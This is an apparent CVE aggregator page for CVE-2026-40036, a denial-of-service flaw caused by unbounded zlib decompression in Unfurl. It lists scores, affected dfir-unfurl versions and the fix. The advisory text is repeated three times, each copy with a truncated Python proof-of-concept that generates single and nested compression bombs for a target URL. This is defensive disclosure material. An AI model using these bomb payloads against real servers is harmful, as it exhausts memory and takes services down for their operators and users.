Every CVE Search/ Get API key

CVE-2026-40036

Unfurl < 2026.04 - Denial of Service via Unbounded zlib Decompression

8.7 HighFix available

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
None
Integrity
None
Availability
High

Exploit likelihood

0.52%Up 0.4 points since Apr 9, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.7

Unfurl < 2026.04 - Denial of Service via Unbounded zlib Decompression

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Record
CVE-2026-40036
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-770, CWE-409
Updated
2026-11-02
EUVDEUVD-2026-20779 8.7

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Record
EUVD-2026-20779
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-c3f2-qg8v-25q2 8.7

Duplicate Advisory: Unfurl's unbounded zlib decompression allows decompression bomb DoS

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.

Original Description

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Record
GHSA-c3f2-qg8v-25q2
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409
Updated
2026-11-02
GitHub AdvisoriesGHSA-h5qv-qjv4-pc5m 8.7

Unfurl's unbounded zlib decompression allows decompression bomb DoS

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

  • unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
  • Inputs are accepted from URL components that match base64 patterns.
  • Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

  1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
  2. The script creates a base64-encoded zlib payload embedded in a URL.
  3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
  4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL…
Record
GHSA-h5qv-qjv4-pc5m
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-409
Updated
2026-11-02
NVD 8.7

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Record
CVE-2026-40036
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409, CWE-770
Updated
2026-11-02
OSV 8.7

Unfurl < 2026.04 - Denial of Service via Unbounded zlib Decompression

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Record
CVE-2026-40036
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-409, CWE-770
Updated
2026-11-02
OSVGHSA-c3f2-qg8v-25q2 8.7

Duplicate Advisory: Unfurl's unbounded zlib decompression allows decompression bomb DoS

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-h5qv-qjv4-pc5m. This link is maintained to preserve external references.

Original Description

Unfurl before 2026.04 contains an unbounded zlib decompression vulnerability in parse_compressed.py that allows remote attackers to cause denial of service. Attackers can submit highly compressed payloads via URL parameters to the /json/visjs endpoint that expand to gigabytes, exhausting server memory and crashing the service.

Record
GHSA-c3f2-qg8v-25q2
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-409
Updated
2026-11-02
OSVGHSA-h5qv-qjv4-pc5m 8.7

Unfurl's unbounded zlib decompression allows decompression bomb DoS

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

  • unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
  • Inputs are accepted from URL components that match base64 patterns.
  • Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

  1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
  2. The script creates a base64-encoded zlib payload embedded in a URL.
  3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
  4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL…
Record
GHSA-h5qv-qjv4-pc5m
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness
CWE-400, CWE-409
Updated
2026-11-02
OSVPYSEC-2026-1294 8.7

Unfurl's unbounded zlib decompression allows decompression bomb DoS

Summary

The compressed data parser uses zlib.decompress() without a maximum output size. A small, highly compressed payload can expand to a very large output, causing memory exhaustion and denial of service.

Details

  • unfurl/parsers/parse_compressed.py calls zlib.decompress(decoded) with no size limit.
  • Inputs are accepted from URL components that match base64 patterns.
  • Highly compressible payloads can expand orders of magnitude larger than their compressed size.

PoC

  1. Generate a payload with security_poc/poc_decompression_bomb.py --generate-only.
  2. The script creates a base64-encoded zlib payload embedded in a URL.
  3. Submitting the URL to /json/visjs can cause the server to allocate large amounts of memory.
  4. The script includes a --test mode but warns it can crash the service.

PoC Script

#!/usr/bin/env python3
"""
Unfurl Decompression Bomb Proof of Concept
==========================================

This PoC demonstrates a Denial of Service vulnerability in Unfurl's
compressed data parsing. The zlib.decompress() call has no size limits,
allowing an attacker to submit small payloads that expand to gigabytes.

Vulnerability Location:
- parse_compressed.py:81-82:
    inflated_bytes = zlib.decompress(decoded)  # No maxsize parameter

Attack Impact:
- Memory exhaustion
- Service crash
- Resource consumption (cloud cost attacks)

Usage:
    python poc_decompression_bomb.py [--target URL] [--size SIZE_MB]
"""

import argparse
import base64
import os
import zlib
import requests
import sys
import time


def create_compression_bomb(target_size_mb: int = 100) -> bytes:
    """
    Create a compression bomb - small compressed data that expands to target_size_mb.

    Compression ratio for zeros can be ~1000:1 or better.
    A 1KB compressed payload can expand to ~1MB.
    A 100KB payload can expand to ~100MB.
    """
    # Create highly compressible data (all zeros)
    target_bytes = target_size_mb * 1024 * 1024
    uncompressed = b'\x00' * target_bytes

    # Compress with maximum compression
    compressed = zlib.compress(uncompressed, 9)

    compression_ratio = len(uncompressed) / len(compressed)

    print(f"[*] Created compression bomb:")
    print(f"    Compressed size: {len(compressed):,} bytes ({len(compressed)/1024:.2f} KB)")
    print(f"    Uncompressed size: {len(uncompressed):,} bytes ({target_size_mb} MB)")
    print(f"    Compression ratio: {compression_ratio:.0f}:1")

    return compressed


def create_nested_bomb(levels: int = 3, base_size_mb: int = 10) -> bytes:
    """
    Create a nested compression bomb (zip bomb style).
    Each level multiplies the final size.

    Warning: This can create VERY large expansions.
    3 levels with 10MB base = 10^3 = 1GB
    4 levels with 10MB base = 10^4 = 10GB
    """
    print(f"[*] Creating nested bomb with {levels} levels, {base_size_mb}MB base")

    # Start with base payload
    data = b'\x00' * (base_size_mb * 1024 * 1024)

    for level in range(levels):
        data = zlib.compress(data, 9)
        print(f"    Level {level + 1}: {len(data):,} bytes")

    theoretical_size = base_size_mb * (1000 ** levels)  # Rough estimate
    print(f"[*] Theoretical expanded size: ~{theoretical_size} MB")

    return data


def create_recursive_quine_bomb() -> bytes:
    """
    Create a recursive decompression scenario.
    When decompressed, the output is valid zlib that can be decompressed again.

    This exploits any recursive decompression logic.
    """
    # This is a simplified version - real quine bombs are more complex
    # The concept: output when decompressed is also valid compressed data

    # Create a pattern that when decompressed resembles compressed data
    # This is primarily theoretical for this vulnerability
    base = b'x\x9c' + (b'\x00' * 1000)  # Fake zlib header + zeros
    return zlib.compress(base * 1000, 9)


def encode_for_unfurl(compressed: bytes) -> str:
    """
    Encode compressed data as base64 for URL…
Record
PYSEC-2026-1294
CVSS 4.0
8.7 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
dfir-unfurl
PyPI
before 20260405
20260405
dfir-unfurl
PyPI
before 20260405, plus listed versions
202006292020063020200630.220200630.320200630.4
Show 22 moreShow less
20200702202007032020072920200812202011022021030820210309202103102021031120210615202202002022110020230900202309012024062520240626202406272024112020241121202502182025031220250810
20260405

History

History
RecordedChangedSources
affected
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-40036 is a high vulnerability (CVSS 8.7) in Obsidianforensics Unfurl, published January 29, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in dfir-unfurl 20260405.

References

Show 7 moreShow less
This page doesn't list everything

Left out here: the rest of 3 source descriptions. The JSON record has them.

MoveEnter Open